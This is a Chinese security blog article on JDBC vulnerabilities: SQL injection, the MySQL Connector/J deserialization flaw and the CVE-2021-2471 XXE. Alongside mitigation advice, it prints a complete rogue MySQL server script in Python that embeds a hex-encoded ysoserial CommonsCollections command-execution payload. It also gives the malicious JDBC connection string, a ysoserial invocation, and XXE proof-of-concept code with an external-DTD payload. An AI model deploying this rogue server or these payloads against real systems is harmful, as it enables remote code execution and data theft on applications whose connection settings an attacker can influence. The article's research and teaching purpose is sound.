JDBC安全

語言: CN / TW / HK

點擊藍字

關注我們

聲明

本文作者:Gungnir

本文字數: 176 81

閲讀時長:30min

附件/鏈接 :點擊查看原文下載

本文首發於【secin社區】,未經許可禁止轉載

原文鏈接:https://www.sec-in.com/article/1564

由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,狼組安全團隊以及文章作者不為此承擔任何責任。

狼組安全團隊有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經狼組安全團隊允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。

JDBC(Java Data Base Connectivity,java數據庫連接)是一種用於執行SQL語句的Java API,可以為多種關係數據庫提供統一訪問,它由一組用Java語言編寫的類和接口組成。 JDBC提供了一種基準,據此可以構建更高級的工具和接口,使數據庫開發人員能夠編寫數據庫應用程序。

JDBC在廣泛使用的同時,也會帶來相應的安全隱患,因此筆者針對JDBC做了總結,限於水平,難免有欠缺,希望師傅們指出。

JDBC連接樣例:

//1.註冊數據庫驅動
DriverManager.registerDriver(new Driver());
//2.獲取數據庫連接
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/day10", "root", "root");
//3.獲取傳輸器對象
Statement stat = conn.createStatement();
//4.利用傳輸器傳輸sql語句到數據庫中執行,獲取結果集對象
ResultSet rs = stat.executeQuery("select * from user");
//5.遍歷結果集獲取查詢結果
while(rs.next()){
String name = rs.getString("name");
System.out.println(name);
}
//6.關閉資源
rs.close();
stat.close();
conn.close();

JDBC  sql注入

畢竟JDBC只是一種執行sql語句的Java API,所以他肯定也有sql注入的安全隱患。

// concat sql
Statement stmt = connection.createStatement();
String sql = "SELECT * FROM users WHERE id ='"+ id + "'";
ResultSet rs = stmt.executeQuery(sql);

假設有這麼幾個語句,executeQuery執行的sql語句中存在拼接,將id拼接到sql語句中,而id又可控,沒有其他的過濾方法,那麼sql注入風險就會存在。

其實就是普通的sql注入。

那麼在JDBC中我們怎麼保證安全?

使用參數化查詢( parameterized queries ),即 SQL 語句中使用參數綁定( ? 佔位符 ) 和 PreparedStatement

PreparedStatement 始終使用 ? 作為佔位符,並且把數據連同SQL本身傳給數據庫,這樣可以保證每次傳給數據庫的SQL語句是相同的,只是佔位符的數據不同,還能高效利用數據庫本身對查詢的緩存。

上面的語句我們可以這樣寫

// use ? to bind variables
String sql = "SELECT * FROM users WHERE id= ? ";
PreparedStatement ps = connection.prepareStatement(sql);
// 參數 index 從 1 開始,有幾個參數綁定就寫幾個。
ps.setString(1, name);
ps.execute();

我們需要注意,並不是使用了prepareStatement就可以防止sql注入,防止sql注入是因為所有需要傳入的參數都使用了佔位符,保證數據與代碼分離。

如果你在使用prepareStatement之前就拼接了sql語句,照樣會導致注入。

當然,並不是所有情況都可以使用prepareStatement,比如order by、column name,不能使用參數綁定,此時需要手工過濾,如通常 order by 的字段名是有限的,因此可以使用白名單的方式來限制參數值。我們也可以全方位的進行字符轉義,來防止注入。

Mysql  JDBC 反序列化漏洞

需要準備:

8.x版本的mysql-connector-java依賴(不同版本的依賴,利用方式有所區別)

我用的是8.0.19,如果你用的版本不能順利分析下來,可能版本不在影響範圍之內,換一個版本。

影響範圍(5.1.28 - 5.1.19,5.1.29 - 5.1.40,5.x <= 5.1.10,>=5.1.11,6.x,8.x)

漏洞原理

如果攻擊者能夠控制JDBC連接設置項,那麼就可以通過設置其指向惡意MySQL服務器進行ObjectInputStream.readObject()的反序列化攻擊從而RCE。

具體點説,就是通過JDBC連接MySQL服務端時,會有幾個內置的SQL查詢語句要執行,其中兩個查詢的結果集在MySQL客户端被處理時會調用ObjectInputStream.readObject()進行反序列化操作。如果攻擊者搭建惡意MySQL服務器來控制這兩個查詢的結果集,並且攻擊者可以控制JDBC連接設置項,那麼就能觸發MySQL JDBC客户端反序列化漏洞。

可被利用的兩條查詢語句:

  • SHOW SESSION STATUS

  • SHOW COLLATION

漏洞分析

我們可以在IDEA的外部庫中找到依賴。

如果要是序列化的問題的話,那肯定少不了readObject。

作者在com.mysql.cj.jdbc.result.ResultSetImpl下的getObject(int columnIndex)函數中找到了readObject。

一共有兩處readObject。

一處是case BIT,一處是case BLOB。

我們需要知道

BIT和BLOB都是MySQL裏的一種數據格式


BLOB:是二進制形式的長文本數據,大小是0-65535 bytes


BIT:是用來存儲bit值的,BIT(M)代表可以存儲M個bit,M的取值範圍為164 如果手工指定bit值,則可以使用b'value'格式,比如b'111'和 b'10000000'分別代表7128

我們可以看到

case BIT和case BLOB有一些差不多的判斷邏輯

//判斷數據是不是blob或者二進制數據
if (field.isBinary() || field.isBlob())


//獲取連接屬性的autoDeserialize是否為true
if (!(Boolean)this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue())


//判斷數據是不是序列化後的對象,-84 -19其實就是AC ED (0xAC == 256 - 84, 0xED == 256 - 19),就是Java的序列化內容的魔術頭
if ((data[0] == -84) && (data[1] == -19))


//滿足了上述條件,就可以反序列化了。

接下來我們就是要找到個調用getobject的地方,我們把目光放在 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues() 中的 ResultSetUtil.resultSetToMap(toPopulate, rs);

前面原理中提到了兩條查詢語句,在這裏我們就可以看到它執行了其中一句 SHOW SESSION STATUS

執行 SHOW SESSION STATUS 後並處理其結果時,調用了getObject(),注意這裏調用了兩次。

於是我們要再找調用populateMapWithSessionStatusValues的地方,我們找到了``com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor postProcess() preProcess() 方法

那我們怎麼調用postProcess或者preProcess呢,這需要我們知道這個類的含義

public class ServerStatusDiffInterceptor implements QueryInterceptor

此類實現了QueryInterceptor

ServerStatusDiffInterceptor
ServerStatusDiffInterceptor
getObject()

所以最終思路就是,執行查詢語句,觸發攔截器,執行preProcess,進入到populateMapWithSessionStatusValues,再執行 SHOW SESSION STATUS ,得到序列化的數據,進入getObject,反序列化。

我們攻擊的地方就在於執行 SHOW SESSION STATUS ,這個過程得到的數據,是我們可以去控制的,從而導致反序列化了惡意類。

於是poc也得出來了,我們需要觸發攔截器,在進入getObject的時候,需要通過一個判斷

//poc
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

漏洞利用

利用方式在分析過程中説到,代碼執行了 SHOW SESSION STATUS ,並把拿到的數據,可以進行反序列化。

所以我們需要控制這個數據。

這有兩個前提

1.可以控制JDBC連接設置項(即可以控制連接語句)

2.存在鏈子可以打

那我們怎麼控制這個數據?

我們選擇自建惡意Mysql,讓代碼執行的``SHOW SESSION STATUS`是發送到我們的惡意Mysql服務器的,這也是為什麼我們需要控制JDBC連接設置項。

怎麼自建Mysql服務器,我在此不做分析。想了解的可以看看兩個項目

  • https://github.com/fnmsd/MySQL_Fake_Server

  • https://github.com/rmb122/rogue_mysql_server

我給出 Tri0mphe 師傅的一個py腳本。

# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os


greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"


def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()


def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))


def get_payload_content():
//file文件的內容使用ysoserial生成的 使用規則 java -jar ysoserial [common7那個] "calc" > a
file= r'a'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")


else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content


# 主要邏輯
def run():


while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))


# 1.先發送第一個 問候報文
send_data(conn,greeting_data)


while True:
# 登錄認證過程模擬 1.客户端發送request login報文 2.服務端響應response_ok
receive_data(conn)
send_data(conn,response_ok_data)


#其他過程
data=receive_data(conn)
#查詢一些配置信息,其中會發送自己的 版本號
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 為什麼我加了EOF Packet 就無法正常運行呢??
//獲取payload
payload_content=get_payload_content()
//計算payload長度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
//計算數據包長度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break




if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3309


sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#當socket關閉後,本地端用於該socket的端口號立刻就可以被重用.為了實驗的時候不用等待很長時間
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)


print("start fake mysql server listening on {}:{}".format(HOST,PORT))


run()

有了惡意服務器後,我們需要寫個JDBCclient,用以觸發攔截器。

public class JdbcClient {




public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://xxxx:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用


Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL,"root","root");
}
}

然後我們根據目標程序存在的鏈子,用ysoserial生成payload。

比如,假設目標存在cc5鏈子,我們使用命令

java -jar .\ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 calc > payload

拿到payload之後,我們就可以把payload放在惡意mysql服務器同目錄下,運行mysql服務器,再運行JDBCclient,就可以成功彈出calc。

下面找到一道相關的ctf題目,可用作學習復現。

[羊城杯 2020]A Piece Of Java

https://urdr-gungnir.github.io/ctf/CTF中的java題.html

防禦方案

  1. 黑名單檢查(檢查輸入流,如果存在一些惡意類,則反序列化過程停止)

  2. 白名單過濾(JEP290、SerialKiller)

    •允許對傳入的對象序列化數據流進行過濾,以提高安全性

    •定義可以由屬性或配置文件配置的全局過濾器。

    •在反序列化過程中將調用filter接口方法,以驗證要反序列化的類。過濾器返回接受,拒絕或保留未確定,允許或禁止狀態的狀態。

  3. 運行時應用程序自我保護(RASP)

Mysql JDBC  XXE(CVE-2021-2471)

提前説下,這種洞比較雞肋。需要其他的比較苛刻的條件。

需要準備:

因為影響版本< MySQL JDBC 8.0.27,所以上面反序列化的環境也能復現。

漏洞原理

getSource方法未對傳入的XML格式數據進行檢驗。導致攻擊者可構造惡意的XML數據引入外部實體。造成XXE攻擊。

前置知識

什麼是SQLXML?

在開發的過程中,可能會需要在數據庫中存儲和檢索 XML 文檔,因此引入了SQLXML類型,SQLXML提供了 String、Reader、Writer 或

Stream 等多種形式訪問XML值的方法。

我們可以通過ResultSet、CallableStatement 、PreparedStatement 中的 getSQLXML 方法獲取SQLXML對象。

再使用SQLXML對象提供的xml解析器去解析xml。

下面要用到的createSQLXML也是獲取SQLXML對象的方法。

漏洞分析

漏洞發生在com.mysql.cj.jdbc.MysqlSQLXML下的getSource函數中

函數大概的邏輯如下:

public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
checkClosed();
checkWorkingWithResult();


if (clazz == null || clazz.equals(SAXSource.class)) {


} else if (clazz.equals(DOMSource.class)) {


} else if (clazz.equals(StreamSource.class)) {


} else if (clazz.equals(StAXSource.class)) {


} else {
throw SQLError.createSQLException(Messages.getString("MysqlSQLXML.2", new Object[] { clazz.toString() }),
MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, this.exceptionInterceptor);
}
}

可以看的出來,是判斷clazz類是書魚哪一種Source源,則進入哪一個判斷。

當傳入類型為DOMSource時,則使用DocumentBuilder對數據進行解析處理。

可以看到,domsource處理邏輯中,沒有對inputsource進行一個過濾,這就是説,如果inputsource可控,那麼將直接被直接解析xml內容。

那inputsource是當this.fromResultSet為flase的時候,被this.stringRep控制的。

這裏的this.fromResultSet不出意外,基本上是false的狀態

因為在構造函數的時候,就已經被初始化為false。

而this.stringRep可以通過當前類的 setString 方法類設置 stringRep 的值。

那我們如何觸發它呢?

createSQLXML 方法的作用就是返回一個 MysqlSQLXML 對象。

所以只要用createSQLXML返回個MysqlSQLXML對象,並最後調用getsource就可以最後解析xml。

//poc
import javax.xml.transform.dom.DOMSource;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.SQLXML;
public class main {
public static void main(String[] args) throws SQLException {
String poc = "<!DOCTYPE b [<!ENTITY xxe SYSTEM \"http://127.0.0.1:2333/poc.txt\">]><name>&xxe;</name>";
Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/", "root","root");
SQLXML sqlxml = connection.createSQLXML();
sqlxml.setString(poc);
sqlxml.getSource(DOMSource.class);


}
}

分析一下

我們先用getConnection創建了一個jdbc連接,然後用createSQLXML返回了個MysqlSQLXML對象,然後我們要用的xxe的payload寫入數據庫,最後getSource讀取,並解析。

這樣看起來似乎挺好,但此poc需要靠開發人員寫成這個,應該在真實環境中很難見到有setString參數可控的。

而現實中可能更多的是,類似於這種

package com.example.demo3;
import javax.xml.transform.dom.DOMSource;
import java.sql.*;


public class main {
public static void main(String[] args) throws SQLException {
Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/sys", "root","root");
Statement statement = connection.createStatement();
statement.execute("select * from test");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
SQLXML sqlxml = resultSet.getSQLXML("message");
sqlxml.getSource(DOMSource.class);
}
}
}

使用getSQLXML獲取數據庫相應字段的數據後,返回一個MysqlSQLXML對象。

然後getSource調用,解析這些數據。

那麼我們就需要先把惡意的payload寫入數據庫中,讓程序getSQLXML拿出來,再解析。

所以這也是為什麼很雞肋的一個原因。

讓我想起來一個圖。

雖然不是完全一樣,但是這種思路也是如出一轍。。。。

漏洞利用

雖然很雞肋,但是我也稍微復現,讓大家理解。

作者提供了漏洞環境。https://github.com/SecCoder-Security-Lab/jdbc-sqlxml-xxe

有了這個項目,我們在數據庫中首先創建表

create table tb_test (
id bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '主鍵id',
message text COMMENT 'SQLXML',
PRIMARY KEY (`id`)
);

然後模擬我們已經有了一個可以把惡意數據放進數據庫的方法

insert into tb_test(message) values('<?xml version="1.0" ?> <!DOCTYPE note [ <!ENTITY % remote SYSTEM "http://127.0.0.1:80/xxe.dtd"> %remote; ]>');

起一個臨時web服務,方便驗證是否成功。

然後調用項目中的 OracleJDBC.java ,你可以看到此文件中的代碼就是上面提供的常見寫法。

然後你就可以看到,你已經成功收到了來自目標服務器的請求。

如果你想進行其他的利用,修改插入數據庫的payload即可。

防禦方案

官方在更新中創建了 XmlReader 並進行了安全設置。

try {
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
setFeature(reader, "http://apache.org/xml/features/disallow-doctype-decl", true);
setFeature(reader, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
setFeature(reader, "http://xml.org/sax/features/external-general-entities", false);
setFeature(reader, "http://xml.org/sax/features/external-parameter-entities", false);
return new SAXSource(reader, this.fromResultSet ? new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml)) : new InputSource(new StringReader(this.stringRep)));
} catch (SAXException var7) {
sqlEx = SQLError.createSQLException(var7.getMessage(), "S1009", var7, this.exceptionInterceptor);
throw sqlEx;
}

Gungnir

好傢伙~

掃描關注公眾號回覆加羣

和師傅們一起討論研究~

WgpSec狼組安全團隊

微信號:wgpsec

Twitter:@wgpsec